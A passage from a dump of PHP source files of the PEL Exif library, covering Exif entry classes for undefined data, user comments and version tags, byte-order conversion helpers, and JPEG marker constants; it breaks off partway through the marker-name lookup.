313 |
314 |
315 | /**
316 | * Get the value of this entry as text.
317 | *
318 | * The value will be returned in a format suitable for presentation,
319 | * e.g., rationals will be returned as 'x/y', ASCII strings will be
320 | * returned as themselves etc.
321 | *
322 | * @param boolean some values can be returned in a long or more
323 | * brief form, and this parameter controls that.
324 | *
325 | * @return string the value as text.
326 | */
327 | abstract function getText($brief = false);
328 |
329 |
330 | /**
331 | * Get the value of this entry.
332 | *
333 | * The value returned will generally be the same as the one supplied
334 | * to the constructor or with {@link setValue()}. For a formatted
335 | * version of the value, one should use {@link getText()} instead.
336 | *
337 | * @return mixed the unformatted value.
338 | */
339 | abstract function getValue();
340 |
341 |
342 | /**
343 | * Set the value of this entry.
344 | *
345 | * The value should be in the same format as for the constructor.
346 | *
347 | * @param mixed the new value.
348 | *
349 | * @abstract
350 | */
351 | function setValue($value) {
352 | /* This (fake) abstract method is here to make it possible for the
353 | * documentation to refer to PelEntry::setValue().
354 | *
355 | * It cannot declared abstract in the proper PHP way, for then PHP
356 | * wont allow subclasses to define it with two arguments (which is
357 | * what PelEntryCopyright does).
358 | */
359 | throw new PelException('setValue() is abstract.');
360 | }
361 |
362 |
363 | /**
364 | * Turn this entry into a string.
365 | *
366 | * @return string a string representation of this entry. This is
367 | * mostly for debugging.
368 | */
369 | function __toString() {
370 | $str = Pel::fmt(" Tag: 0x%04X (%s)\n",
371 | $this->tag, PelTag::getName($this->ifd_type, $this->tag));
372 | $str .= Pel::fmt(" Format : %d (%s)\n",
373 | $this->format, PelFormat::getName($this->format));
374 | $str .= Pel::fmt(" Components: %d\n", $this->components);
375 | if ($this->getTag() != PelTag::MAKER_NOTE &&
376 | $this->getTag() != PelTag::PRINT_IM)
377 | $str .= Pel::fmt(" Value : %s\n", print_r($this->getValue(), true));
378 | $str .= Pel::fmt(" Text : %s\n", $this->getText());
379 | return $str;
380 | }
381 | }
382 |
383 |
--------------------------------------------------------------------------------
/pel/PelEntryUndefined.php:
--------------------------------------------------------------------------------
1 |
38 | * @version $Revision$
39 | * @date $Date$
40 | * @license http://www.gnu.org/licenses/gpl.html GNU General Public
41 | * License (GPL)
42 | * @package PEL
43 | */
44 |
45 | /**#@+ Required class definitions. */
46 | require_once('PelEntry.php');
47 | /**#@-*/
48 |
49 |
50 | /**
51 | * Class for holding data of any kind.
52 | *
53 | * This class can hold bytes of undefined format.
54 | *
55 | * @author Martin Geisler
56 | * @package PEL
57 | */
58 | class PelEntryUndefined extends PelEntry {
59 |
60 | /**
61 | * Make a new PelEntry that can hold undefined data.
62 | *
63 | * @param PelTag the tag which this entry represents. This
64 | * should be one of the constants defined in {@link PelTag},
65 | * e.g., {@link PelTag::SCENE_TYPE}, {@link
66 | * PelTag::MAKER_NOTE} or any other tag with format {@link
67 | * PelFormat::UNDEFINED}.
68 | *
69 | * @param string the data that this entry will be holding. Since
70 | * the format is undefined, no checking will be done on the data.
71 | */
72 | function __construct($tag, $data = '') {
73 | $this->tag = $tag;
74 | $this->format = PelFormat::UNDEFINED;
75 | $this->setValue($data);
76 | }
77 |
78 |
79 | /**
80 | * Set the data of this undefined entry.
81 | *
82 | * @param string the data that this entry will be holding. Since
83 | * the format is undefined, no checking will be done on the data.
84 | */
85 | function setValue($data) {
86 | $this->components = strlen($data);
87 | $this->bytes = $data;
88 | }
89 |
90 |
91 | /**
92 | * Get the data of this undefined entry.
93 | *
94 | * @return string the data that this entry is holding.
95 | */
96 | function getValue() {
97 | return $this->bytes;
98 | }
99 |
100 |
101 | /**
102 | * Get the value of this entry as text.
103 | *
104 | * The value will be returned in a format suitable for presentation.
105 | *
106 | * @param boolean some values can be returned in a long or more
107 | * brief form, and this parameter controls that.
108 | *
109 | * @return string the value as text.
110 | */
111 | function getText($brief = false) {
112 | switch ($this->tag) {
113 | case PelTag::FILE_SOURCE:
114 | //CC (e->components, 1, v);
115 | switch (ord($this->bytes{0})) {
116 | case 0x03:
117 | return 'DSC';
118 | default:
119 | return sprintf('0x%02X', ord($this->bytes{0}));
120 | }
121 |
122 | case PelTag::SCENE_TYPE:
123 | //CC (e->components, 1, v);
124 | switch (ord($this->bytes{0})) {
125 | case 0x01:
126 | return 'Directly photographed';
127 | default:
128 | return sprintf('0x%02X', ord($this->bytes{0}));
129 | }
130 |
131 | case PelTag::COMPONENTS_CONFIGURATION:
132 | //CC (e->components, 4, v);
133 | $v = '';
134 | for ($i = 0; $i < 4; $i++) {
135 | switch (ord($this->bytes{$i})) {
136 | case 0:
137 | $v .= '-';
138 | break;
139 | case 1:
140 | $v .= 'Y';
141 | break;
142 | case 2:
143 | $v .= 'Cb';
144 | break;
145 | case 3:
146 | $v .= 'Cr';
147 | break;
148 | case 4:
149 | $v .= 'R';
150 | break;
151 | case 5:
152 | $v .= 'G';
153 | break;
154 | case 6:
155 | $v .= 'B';
156 | break;
157 | default:
158 | $v .= 'reserved';
159 | break;
160 | }
161 | if ($i < 3) $v .= ' ';
162 | }
163 | return $v;
164 |
165 | case PelTag::MAKER_NOTE:
166 | // TODO: handle maker notes.
167 | return $this->components . ' bytes unknown MakerNote data';
168 |
169 | default:
170 | return '(undefined)';
171 | }
172 | }
173 |
174 | }
175 |
176 |
177 | /**
178 | * Class for a user comment.
179 | *
180 | * This class is used to hold user comments, which can come in several
181 | * different character encodings. The Exif standard specifies a
182 | * certain format of the {@link PelTag::USER_COMMENT user comment
183 | * tag}, and this class will make sure that the format is kept.
184 | *
185 | * The most basic use of this class simply stores an ASCII encoded
186 | * string for later retrieval using {@link getValue}:
187 | *
188 | *
189 | * $entry = new PelEntryUserComment('An ASCII string');
190 | * echo $entry->getValue();
191 | *
192 | *
193 | * The string can be encoded with a different encoding, and if so, the
194 | * encoding must be given using the second argument. The Exif
195 | * standard specifies three known encodings: 'ASCII', 'JIS', and
196 | * 'Unicode'. If the user comment is encoded using a character
197 | * encoding different from the tree known encodings, then the empty
198 | * string should be passed as encoding, thereby specifying that the
199 | * encoding is undefined.
200 | *
201 | * @author Martin Geisler
202 | * @package PEL
203 | */
204 | class PelEntryUserComment extends PelEntryUndefined {
205 |
206 | /**
207 | * The user comment.
208 | *
209 | * @var string
210 | */
211 | private $comment;
212 |
213 | /**
214 | * The encoding.
215 | *
216 | * This should be one of 'ASCII', 'JIS', 'Unicode', or ''.
217 | *
218 | * @var string
219 | */
220 | private $encoding;
221 |
222 | /**
223 | * Make a new entry for holding a user comment.
224 | *
225 | * @param string the new user comment.
226 | *
227 | * @param string the encoding of the comment. This should be either
228 | * 'ASCII', 'JIS', 'Unicode', or the empty string specifying an
229 | * undefined encoding.
230 | */
231 | function __construct($comment = '', $encoding = 'ASCII') {
232 | parent::__construct(PelTag::USER_COMMENT);
233 | $this->setValue($comment, $encoding);
234 | }
235 |
236 |
237 | /**
238 | * Set the user comment.
239 | *
240 | * @param string the new user comment.
241 | *
242 | * @param string the encoding of the comment. This should be either
243 | * 'ASCII', 'JIS', 'Unicode', or the empty string specifying an
244 | * unknown encoding.
245 | */
246 | function setValue($comment = '', $encoding = 'ASCII') {
247 | $this->comment = $comment;
248 | $this->encoding = $encoding;
249 | parent::setValue(str_pad($encoding, 8, chr(0)) . $comment);
250 | }
251 |
252 |
253 | /**
254 | * Returns the user comment.
255 | *
256 | * The comment is returned with the same character encoding as when
257 | * it was set using {@link setValue} or {@link __construct the
258 | * constructor}.
259 | *
260 | * @return string the user comment.
261 | */
262 | function getValue() {
263 | return $this->comment;
264 | }
265 |
266 |
267 | /**
268 | * Returns the encoding.
269 | *
270 | * @return string the encoding of the user comment.
271 | */
272 | function getEncoding() {
273 | return $this->encoding;
274 | }
275 |
276 |
277 | /**
278 | * Returns the user comment.
279 | *
280 | * @return string the user comment.
281 | */
282 | function getText($brief = false) {
283 | return $this->comment;
284 | }
285 |
286 | }
287 |
288 |
289 | /**
290 | * Class to hold version information.
291 | *
292 | * There are three Exif entries that hold version information: the
293 | * {@link PelTag::EXIF_VERSION}, {@link
294 | * PelTag::FLASH_PIX_VERSION}, and {@link
295 | * PelTag::INTEROPERABILITY_VERSION} tags. This class manages
296 | * those tags.
297 | *
298 | * The class is used in a very straight-forward way:
299 | *
300 | * $entry = new PelEntryVersion(PelTag::EXIF_VERSION, 2.2);
301 | *
302 | * This creates an entry for an file complying to the Exif 2.2
303 | * standard. It is easy to test for standards level of an unknown
304 | * entry:
305 | *
306 | * if ($entry->getTag() == PelTag::EXIF_VERSION &&
307 | * $entry->getValue() > 2.0) {
308 | * echo 'Recent Exif version.';
309 | * }
310 | *
311 | *
312 | * @author Martin Geisler
313 | * @package PEL
314 | */
315 | class PelEntryVersion extends PelEntryUndefined {
316 |
317 | /**
318 | * The version held by this entry.
319 | *
320 | * @var float
321 | */
322 | private $version;
323 |
324 |
325 | /**
326 | * Make a new entry for holding a version.
327 | *
328 | * @param PelTag the tag. This should be one of {@link
329 | * PelTag::EXIF_VERSION}, {@link PelTag::FLASH_PIX_VERSION},
330 | * or {@link PelTag::INTEROPERABILITY_VERSION}.
331 | *
332 | * @param float the version. The size of the entries leave room for
333 | * exactly four digits: two digits on either side of the decimal
334 | * point.
335 | */
336 | function __construct($tag, $version = 0.0) {
337 | parent::__construct($tag);
338 | $this->setValue($version);
339 | }
340 |
341 |
342 | /**
343 | * Set the version held by this entry.
344 | *
345 | * @param float the version. The size of the entries leave room for
346 | * exactly four digits: two digits on either side of the decimal
347 | * point.
348 | */
349 | function setValue($version = 0.0) {
350 | $this->version = $version;
351 | $major = floor($version);
352 | $minor = ($version - $major)*100;
353 | parent::setValue(sprintf('%02.0f%02.0f', $major, $minor));
354 | }
355 |
356 |
357 | /**
358 | * Return the version held by this entry.
359 | *
360 | * @return float the version. This will be the same as the value
361 | * given to {@link setValue} or {@link __construct the
362 | * constructor}.
363 | */
364 | function getValue() {
365 | return $this->version;
366 | }
367 |
368 |
369 | /**
370 | * Return a text string with the version.
371 | *
372 | * @param boolean controls if the output should be brief. Brief
373 | * output omits the word 'Version' so the result is just 'Exif x.y'
374 | * instead of 'Exif Version x.y' if the entry holds information
375 | * about the Exif version --- the output for FlashPix is similar.
376 | *
377 | * @return string the version number with the type of the tag,
378 | * either 'Exif' or 'FlashPix'.
379 | */
380 | function getText($brief = false) {
381 | $v = $this->version;
382 |
383 | /* Versions numbers like 2.0 would be output as just 2 if we don't
384 | * add the '.0' ourselves. */
385 | if (floor($this->version) == $this->version)
386 | $v .= '.0';
387 |
388 | switch ($this->tag) {
389 | case PelTag::EXIF_VERSION:
390 | if ($brief)
391 | return Pel::fmt('Exif %s', $v);
392 | else
393 | return Pel::fmt('Exif Version %s', $v);
394 |
395 | case PelTag::FLASH_PIX_VERSION:
396 | if ($brief)
397 | return Pel::fmt('FlashPix %s', $v);
398 | else
399 | return Pel::fmt('FlashPix Version %s', $v);
400 |
401 | case PelTag::INTEROPERABILITY_VERSION:
402 | if ($brief)
403 | return Pel::fmt('Interoperability %s', $v);
404 | else
405 | return Pel::fmt('Interoperability Version %s', $v);
406 | }
407 |
408 | if ($brief)
409 | return $v;
410 | else
411 | return Pel::fmt('Version %s', $v);
412 |
413 | }
414 |
415 | }
416 |
417 |
--------------------------------------------------------------------------------
/pel/PelConvert.php:
--------------------------------------------------------------------------------
1 |
32 | * @version $Revision$
33 | * @date $Date$
34 | * @license http://www.gnu.org/licenses/gpl.html GNU General Public
35 | * License (GPL)
36 | * @package PEL
37 | */
38 |
39 | /**
40 | * Conversion functions to and from bytes and integers.
41 | *
42 | * The functions found in this class are used to convert bytes into
43 | * integers of several sizes ({@link bytesToShort}, {@link
44 | * bytesToLong}, and {@link bytesToRational}) and convert integers of
45 | * several sizes into bytes ({@link shortToBytes} and {@link
46 | * longToBytes}).
47 | *
48 | * All the methods are static and they all rely on an argument that
49 | * specifies the byte order to be used, this must be one of the class
50 | * constants {@link LITTLE_ENDIAN} or {@link BIG_ENDIAN}. These
51 | * constants will be referred to as the pseudo type PelByteOrder
52 | * throughout the documentation.
53 | *
54 | * @author Martin Geisler
55 | * @package PEL
56 | */
57 | class PelConvert {
58 |
59 | /**
60 | * Little-endian (Intel) byte order.
61 | *
62 | * Data stored in little-endian byte order store the least
63 | * significant byte first, so the number 0x12345678 becomes 0x78
64 | * 0x56 0x34 0x12 when stored with little-endian byte order.
65 | */
66 | const LITTLE_ENDIAN = true;
67 |
68 | /**
69 | * Big-endian (Motorola) byte order.
70 | *
71 | * Data stored in big-endian byte order store the most significant
72 | * byte first, so the number 0x12345678 becomes 0x12 0x34 0x56 0x78
73 | * when stored with big-endian byte order.
74 | */
75 | const BIG_ENDIAN = false;
76 |
77 |
78 | /**
79 | * Convert an unsigned short into two bytes.
80 | *
81 | * @param int the unsigned short that will be converted. The lower
82 | * two bytes will be extracted regardless of the actual size passed.
83 | *
84 | * @param PelByteOrder one of {@link LITTLE_ENDIAN} and {@link
85 | * BIG_ENDIAN}.
86 | *
87 | * @return string the bytes representing the unsigned short.
88 | */
89 | static function shortToBytes($value, $endian) {
90 | if ($endian == self::LITTLE_ENDIAN)
91 | return chr($value) . chr($value >> 8);
92 | else
93 | return chr($value >> 8) . chr($value);
94 | }
95 |
96 |
97 | /**
98 | * Convert a signed short into two bytes.
99 | *
100 | * @param int the signed short that will be converted. The lower
101 | * two bytes will be extracted regardless of the actual size passed.
102 | *
103 | * @param PelByteOrder one of {@link LITTLE_ENDIAN} and {@link
104 | * BIG_ENDIAN}.
105 | *
106 | * @return string the bytes representing the signed short.
107 | */
108 | static function sShortToBytes($value, $endian) {
109 | /* We can just use shortToBytes, since signed shorts fits well
110 | * within the 32 bit signed integers used in PHP. */
111 | return self::shortToBytes($value, $endian);
112 | }
113 |
114 |
115 | /**
116 | * Convert an unsigned long into four bytes.
117 | *
118 | * Because PHP limits the size of integers to 32 bit signed, one
119 | * cannot really have an unsigned integer in PHP. But integers
120 | * larger than 2^31-1 will be promoted to 64 bit signed floating
121 | * point numbers, and so such large numbers can be handled too.
122 | *
123 | * @param int the unsigned long that will be converted. The
124 | * argument will be treated as an unsigned 32 bit integer and the
125 | * lower four bytes will be extracted. Treating the argument as an
126 | * unsigned integer means that the absolute value will be used. Use
127 | * {@link sLongToBytes} to convert signed integers.
128 | *
129 | * @param PelByteOrder one of {@link LITTLE_ENDIAN} and {@link
130 | * BIG_ENDIAN}.
131 | *
132 | * @return string the bytes representing the unsigned long.
133 | */
134 | static function longToBytes($value, $endian) {
135 | /* We cannot convert the number to bytes in the normal way (using
136 | * shifts and modulo calculations) because the PHP operator >> and
137 | * function chr() clip their arguments to 2^31-1, which is the
138 | * largest signed integer known to PHP. But luckily base_convert
139 | * handles such big numbers. */
140 | $hex = str_pad(base_convert($value, 10, 16), 8, '0', STR_PAD_LEFT);
141 | if ($endian == self::LITTLE_ENDIAN)
142 | return (chr(hexdec($hex{6} . $hex{7})) .
143 | chr(hexdec($hex{4} . $hex{5})) .
144 | chr(hexdec($hex{2} . $hex{3})) .
145 | chr(hexdec($hex{0} . $hex{1})));
146 | else
147 | return (chr(hexdec($hex{0} . $hex{1})) .
148 | chr(hexdec($hex{2} . $hex{3})) .
149 | chr(hexdec($hex{4} . $hex{5})) .
150 | chr(hexdec($hex{6} . $hex{7})));
151 | }
152 |
153 |
154 | /**
155 | * Convert a signed long into four bytes.
156 | *
157 | * @param int the signed long that will be converted. The argument
158 | * will be treated as a signed 32 bit integer, from which the lower
159 | * four bytes will be extracted.
160 | *
161 | * @param PelByteOrder one of {@link LITTLE_ENDIAN} and {@link
162 | * BIG_ENDIAN}.
163 | *
164 | * @return string the bytes representing the signed long.
165 | */
166 | static function sLongToBytes($value, $endian) {
167 | /* We can convert the number into bytes in the normal way using
168 | * shifts and modulo calculations here (in contrast with
169 | * longToBytes) because PHP automatically handles 32 bit signed
170 | * integers for us. */
171 | if ($endian == self::LITTLE_ENDIAN)
172 | return (chr($value) .
173 | chr($value >> 8) .
174 | chr($value >> 16) .
175 | chr($value >> 24));
176 | else
177 | return (chr($value >> 24) .
178 | chr($value >> 16) .
179 | chr($value >> 8) .
180 | chr($value));
181 | }
182 |
183 |
184 | /**
185 | * Extract an unsigned byte from a string of bytes.
186 | *
187 | * @param string the bytes.
188 | *
189 | * @param int the offset. The byte found at the offset will be
190 | * returned as an integer. The must be at least one byte available
191 | * at offset.
192 | *
193 | * @return int the unsigned byte found at offset, e.g., an integer
194 | * in the range 0 to 255.
195 | */
196 | static function bytesToByte($bytes, $offset) {
197 | return ord($bytes{$offset});
198 | }
199 |
200 |
201 | /**
202 | * Extract a signed byte from bytes.
203 | *
204 | * @param string the bytes.
205 | *
206 | * @param int the offset. The byte found at the offset will be
207 | * returned as an integer. The must be at least one byte available
208 | * at offset.
209 | *
210 | * @return int the signed byte found at offset, e.g., an integer in
211 | * the range -128 to 127.
212 | */
213 | static function bytesToSByte($bytes, $offset) {
214 | $n = self::bytesToByte($bytes, $offset);
215 | if ($n > 127)
216 | return $n - 256;
217 | else
218 | return $n;
219 | }
220 |
221 |
222 | /**
223 | * Extract an unsigned short from bytes.
224 | *
225 | * @param string the bytes.
226 | *
227 | * @param int the offset. The short found at the offset will be
228 | * returned as an integer. There must be at least two bytes
229 | * available beginning at the offset given.
230 | *
231 | * @return int the unsigned short found at offset, e.g., an integer
232 | * in the range 0 to 65535.
233 | *
234 | * @param PelByteOrder one of {@link LITTLE_ENDIAN} and {@link
235 | * BIG_ENDIAN}.
236 | */
237 | static function bytesToShort($bytes, $offset, $endian) {
238 | if ($endian == self::LITTLE_ENDIAN)
239 | return (ord($bytes{$offset+1}) * 256 +
240 | ord($bytes{$offset}));
241 | else
242 | return (ord($bytes{$offset}) * 256 +
243 | ord($bytes{$offset+1}));
244 | }
245 |
246 |
247 | /**
248 | * Extract a signed short from bytes.
249 | *
250 | * @param string the bytes.
251 | *
252 | * @param int the offset. The short found at offset will be returned
253 | * as an integer. There must be at least two bytes available
254 | * beginning at the offset given.
255 | *
256 | * @return int the signed byte found at offset, e.g., an integer in
257 | * the range -32768 to 32767.
258 | *
259 | * @param PelByteOrder one of {@link LITTLE_ENDIAN} and {@link
260 | * BIG_ENDIAN}.
261 | */
262 | static function bytesToSShort($bytes, $offset, $endian) {
263 | $n = self::bytesToShort($bytes, $offset, $endian);
264 | if ($n > 32767)
265 | return $n - 65536;
266 | else
267 | return $n;
268 | }
269 |
270 |
271 | /**
272 | * Extract an unsigned long from bytes.
273 | *
274 | * @param string the bytes.
275 | *
276 | * @param int the offset. The long found at offset will be returned
277 | * as an integer. There must be at least four bytes available
278 | * beginning at the offset given.
279 | *
280 | * @return int the unsigned long found at offset, e.g., an integer
281 | * in the range 0 to 4294967295.
282 | *
283 | * @param PelByteOrder one of {@link LITTLE_ENDIAN} and {@link
284 | * BIG_ENDIAN}.
285 | */
286 | static function bytesToLong($bytes, $offset, $endian) {
287 | if ($endian == self::LITTLE_ENDIAN)
288 | return (ord($bytes{$offset+3}) * 16777216 +
289 | ord($bytes{$offset+2}) * 65536 +
290 | ord($bytes{$offset+1}) * 256 +
291 | ord($bytes{$offset}));
292 | else
293 | return (ord($bytes{$offset}) * 16777216 +
294 | ord($bytes{$offset+1}) * 65536 +
295 | ord($bytes{$offset+2}) * 256 +
296 | ord($bytes{$offset+3}));
297 | }
298 |
299 |
300 | /**
301 | * Extract a signed long from bytes.
302 | *
303 | * @param string the bytes.
304 | *
305 | * @param int the offset. The long found at offset will be returned
306 | * as an integer. There must be at least four bytes available
307 | * beginning at the offset given.
308 | *
309 | * @return int the signed long found at offset, e.g., an integer in
310 | * the range -2147483648 to 2147483647.
311 | *
312 | * @param PelByteOrder one of {@link LITTLE_ENDIAN} and {@link
313 | * BIG_ENDIAN}.
314 | */
315 | static function bytesToSLong($bytes, $offset, $endian) {
316 | $n = self::bytesToLong($bytes, $offset, $endian);
317 | if ($n > 2147483647)
318 | return $n - 4294967296;
319 | else
320 | return $n;
321 | }
322 |
323 |
324 | /**
325 | * Extract an unsigned rational from bytes.
326 | *
327 | * @param string the bytes.
328 | *
329 | * @param int the offset. The rational found at offset will be
330 | * returned as an array. There must be at least eight bytes
331 | * available beginning at the offset given.
332 | *
333 | * @return array the unsigned rational found at offset, e.g., an
334 | * array with two integers in the range 0 to 4294967295.
335 | *
336 | * @param PelByteOrder one of {@link LITTLE_ENDIAN} and {@link
337 | * BIG_ENDIAN}.
338 | */
339 | static function bytesToRational($bytes, $offset, $endian) {
340 | return array(self::bytesToLong($bytes, $offset, $endian),
341 | self::bytesToLong($bytes, $offset+4, $endian));
342 | }
343 |
344 |
345 | /**
346 | * Extract a signed rational from bytes.
347 | *
348 | * @param string the bytes.
349 | *
350 | * @param int the offset. The rational found at offset will be
351 | * returned as an array. There must be at least eight bytes
352 | * available beginning at the offset given.
353 | *
354 | * @return array the signed rational found at offset, e.g., an array
355 | * with two integers in the range -2147483648 to 2147483647.
356 | *
357 | * @param PelByteOrder one of {@link LITTLE_ENDIAN} and {@link
358 | * BIG_ENDIAN}.
359 | */
360 | static function bytesToSRational($bytes, $offset, $endian) {
361 | return array(self::bytesToSLong($bytes, $offset, $endian),
362 | self::bytesToSLong($bytes, $offset+4, $endian));
363 | }
364 |
365 |
366 | /**
367 | * Format bytes for dumping.
368 | *
369 | * This method is for debug output, it will format a string as a
370 | * hexadecimal dump suitable for display on a terminal. The output
371 | * is printed directly to standard out.
372 | *
373 | * @param string the bytes that will be dumped.
374 | *
375 | * @param int the maximum number of bytes to dump. If this is left
376 | * out (or left to the default of 0), then the entire string will be
377 | * dumped.
378 | */
379 | static function bytesToDump($bytes, $max = 0) {
380 | $s = strlen($bytes);
381 |
382 | if ($max > 0)
383 | $s = min($max, $s);
384 |
385 | $line = 24;
386 |
387 | for ($i = 0; $i < $s; $i++) {
388 | printf('%02X ', ord($bytes{$i}));
389 |
390 | if (($i+1) % $line == 0)
391 | print("\n");
392 | }
393 | print("\n");
394 | }
395 |
396 | }
397 |
398 |
--------------------------------------------------------------------------------
/pel/PelJpegMarker.php:
--------------------------------------------------------------------------------
1 |
32 | * @version $Revision$
33 | * @date $Date$
34 | * @license http://www.gnu.org/licenses/gpl.html GNU General Public
35 | * License (GPL)
36 | * @package PEL
37 | */
38 |
39 | /**#@+ Required class definitions. */
40 | require_once('Pel.php');
41 | /**#@-*/
42 |
43 |
44 | /**
45 | * Class with static methods for JPEG markers.
46 | *
47 | * This class defines the constants to be used whenever one refers to
48 | * a JPEG marker. All the methods defined are static, and they all
49 | * operate on one argument which should be one of the class constants.
50 | * They will all be denoted by PelJpegMarker in the documentation.
51 | *
52 | * @author Martin Geisler
53 | * @package PEL
54 | */
55 | class PelJpegMarker {
56 |
57 | /** Encoding (baseline) */
58 | const SOF0 = 0xC0;
59 | /** Encoding (extended sequential) */
60 | const SOF1 = 0xC1;
61 | /** Encoding (progressive) */
62 | const SOF2 = 0xC2;
63 | /** Encoding (lossless) */
64 | const SOF3 = 0xC3;
65 | /** Define Huffman table */
66 | const DHT = 0xC4;
67 | /** Encoding (differential sequential) */
68 | const SOF5 = 0xC5;
69 | /** Encoding (differential progressive) */
70 | const SOF6 = 0xC6;
71 | /** Encoding (differential lossless) */
72 | const SOF7 = 0xC7;
73 | /** Extension */
74 | const JPG = 0xC8;
75 | /** Encoding (extended sequential, arithmetic) */
76 | const SOF9 = 0xC9;
77 | /** Encoding (progressive, arithmetic) */
78 | const SOF10 = 0xCA;
79 | /** Encoding (lossless, arithmetic) */
80 | const SOF11 = 0xCB;
81 | /** Define arithmetic coding conditioning */
82 | const DAC = 0xCC;
83 | /** Encoding (differential sequential, arithmetic) */
84 | const SOF13 = 0xCD;
85 | /** Encoding (differential progressive, arithmetic) */
86 | const SOF14 = 0xCE;
87 | /** Encoding (differential lossless, arithmetic) */
88 | const SOF15 = 0xCF;
89 | /** Restart 0 */
90 | const RST0 = 0xD0;
91 | /** Restart 1 */
92 | const RST1 = 0xD1;
93 | /** Restart 2 */
94 | const RST2 = 0xD2;
95 | /** Restart 3 */
96 | const RST3 = 0xD3;
97 | /** Restart 4 */
98 | const RST4 = 0xD4;
99 | /** Restart 5 */
100 | const RST5 = 0xD5;
101 | /** Restart 6 */
102 | const RST6 = 0xD6;
103 | /** Restart 7 */
104 | const RST7 = 0xD7;
105 | /** Start of image */
106 | const SOI = 0xD8;
107 | /** End of image */
108 | const EOI = 0xD9;
109 | /** Start of scan */
110 | const SOS = 0xDA;
111 | /** Define quantization table */
112 | const DQT = 0xDB;
113 | /** Define number of lines */
114 | const DNL = 0xDC;
115 | /** Define restart interval */
116 | const DRI = 0xDD;
117 | /** Define hierarchical progression */
118 | const DHP = 0xDE;
119 | /** Expand reference component */
120 | const EXP = 0xDF;
121 | /** Application segment 0 */
122 | const APP0 = 0xE0;
123 | /**
124 | * Application segment 1
125 | *
126 | * When a JPEG image contains Exif data, the data will normally be
127 | * stored in this section and a call to {@link PelJpeg::getExif()}
128 | * will return a {@link PelExif} object representing it.
129 | */
130 | const APP1 = 0xE1;
131 | /** Application segment 2 */
132 | const APP2 = 0xE2;
133 | /** Application segment 3 */
134 | const APP3 = 0xE3;
135 | /** Application segment 4 */
136 | const APP4 = 0xE4;
137 | /** Application segment 5 */
138 | const APP5 = 0xE5;
139 | /** Application segment 6 */
140 | const APP6 = 0xE6;
141 | /** Application segment 7 */
142 | const APP7 = 0xE7;
143 | /** Application segment 8 */
144 | const APP8 = 0xE8;
145 | /** Application segment 9 */
146 | const APP9 = 0xE9;
147 | /** Application segment 10 */
148 | const APP10 = 0xEA;
149 | /** Application segment 11 */
150 | const APP11 = 0xEB;
151 | /** Application segment 12 */
152 | const APP12 = 0xEC;
153 | /** Application segment 13 */
154 | const APP13 = 0xED;
155 | /** Application segment 14 */
156 | const APP14 = 0xEE;
157 | /** Application segment 15 */
158 | const APP15 = 0xEF;
159 | /** Extension 0 */
160 | const JPG0 = 0xF0;
161 | /** Extension 1 */
162 | const JPG1 = 0xF1;
163 | /** Extension 2 */
164 | const JPG2 = 0xF2;
165 | /** Extension 3 */
166 | const JPG3 = 0xF3;
167 | /** Extension 4 */
168 | const JPG4 = 0xF4;
169 | /** Extension 5 */
170 | const JPG5 = 0xF5;
171 | /** Extension 6 */
172 | const JPG6 = 0xF6;
173 | /** Extension 7 */
174 | const JPG7 = 0xF7;
175 | /** Extension 8 */
176 | const JPG8 = 0xF8;
177 | /** Extension 9 */
178 | const JPG9 = 0xF9;
179 | /** Extension 10 */
180 | const JPG10 = 0xFA;
181 | /** Extension 11 */
182 | const JPG11 = 0xFB;
183 | /** Extension 12 */
184 | const JPG12 = 0xFC;
185 | /** Extension 13 */
186 | const JPG13 = 0xFD;
187 | /** Comment */
188 | const COM = 0xFE;
189 |
190 | /**
191 | * Check if a byte is a valid JPEG marker.
192 | *
193 | * @param PelJpegMarker the byte that will be checked.
194 | *
195 | * @return boolean if the byte is recognized true is returned,
196 | * otherwise false will be returned.
197 | */
198 | static function isValid($m) {
199 | return ($m >= self::SOF0 && $m <= self::COM);
200 | }
201 |
202 | /**
203 | * Turn a JPEG marker into bytes.
204 | *
205 | * @param PelJpegMarker the marker.
206 | *
207 | * @return string the marker as a string. This will be a string
208 | * with just a single byte since all JPEG markers are simply single
209 | * bytes.
210 | */
211 | static function getBytes($m) {
212 | return chr($m);
213 | }
214 |
215 | /**
216 | * Return the short name for a marker.
217 | *
218 | * @param PelJpegMarker the marker.
219 | *
220 | * @return string the name of the marker, e.g., 'SOI' for the Start
221 | * of Image marker.
222 | */
223 | static function getName($m) {
224 | switch ($m) {
225 | case self::SOF0: return 'SOF0';
226 | case self::SOF1: return 'SOF1';
227 | case self::SOF2: return 'SOF2';
228 | case self::SOF3: return 'SOF3';
229 | case self::SOF5: return 'SOF5';
230 | case self::SOF6: return 'SOF6';
231 | case self::SOF7: return 'SOF7';
232 | case self::SOF9: return 'SOF9';
233 | case self::SOF10: return 'SOF10';
234 | case self::SOF11: return 'SOF11';
235 | case self::SOF13: return 'SOF13';
236 | case self::SOF14: return 'SOF14';
237 | case self::SOF15: return 'SOF15';
238 | case self::SOI: return 'SOI';
239 | case self::EOI: return 'EOI';
240 | case self::SOS: return 'SOS';
241 | case self::COM: return 'COM';
242 | case self::DHT: return 'DHT';
243 | case self::JPG: return 'JPG';
244 | case self::DAC: return 'DAC';
245 | case self::RST0: return 'RST0';
246 | case self::RST1: return 'RST1';
247 | case self::RST2: return 'RST2';
248 | case self::RST3: return 'RST3';
249 | case self::RST4: return 'RST4';
250 | case self::RST5: return 'RST5';
251 | case self::RST6: return 'RST6';
252 | case self::RST7: return 'RST7';
253 | case self::DQT: return 'DQT';
254 | case self::DNL: return 'DNL';
255 | case self::DRI: return 'DRI';
256 | case self::DHP: return 'DHP';
257 | case self::EXP: return 'EXP';
258 | case self::APP0: return 'APP0';
259 | case self::APP1: return 'APP1';
260 | case self::APP2: return 'APP2';
261 | case self::APP3: return 'APP3';
262 | case self::APP4: return 'APP4';
263 | case self::APP5: return 'APP5';
264 | case self::APP6: return 'APP6';
265 | case self::APP7: return 'APP7';
266 | case self::APP8: return 'APP8';
267 | case self::APP9: return 'APP9';
268 | case self::APP10: return 'APP10';
269 | case self::APP11: return 'APP11';
270 | case self::APP12: return 'APP12';
271 | case self::APP13: return 'APP13';
272 | case self::APP14: return 'APP14';
273 | case self::APP15: return 'APP15';
274 | case self::JPG0: return 'JPG0';
275 | case self::JPG1: return 'JPG1';
276 | case self::JPG2: return 'JPG2';
277 | case self::JPG3: return 'JPG3';
278 | case self::JPG4: return 'JPG4';
279 | case self::JPG5: return 'JPG5';
280 | case self::JPG6: return 'JPG6';
281 | case self::JPG7: return 'JPG7';
282 | case self::JPG8: return 'JPG8';
283 | case self::JPG9: return 'JPG9';
284 | case self::JPG10: return 'JPG10';
285 | case self::JPG11: return 'JPG11';
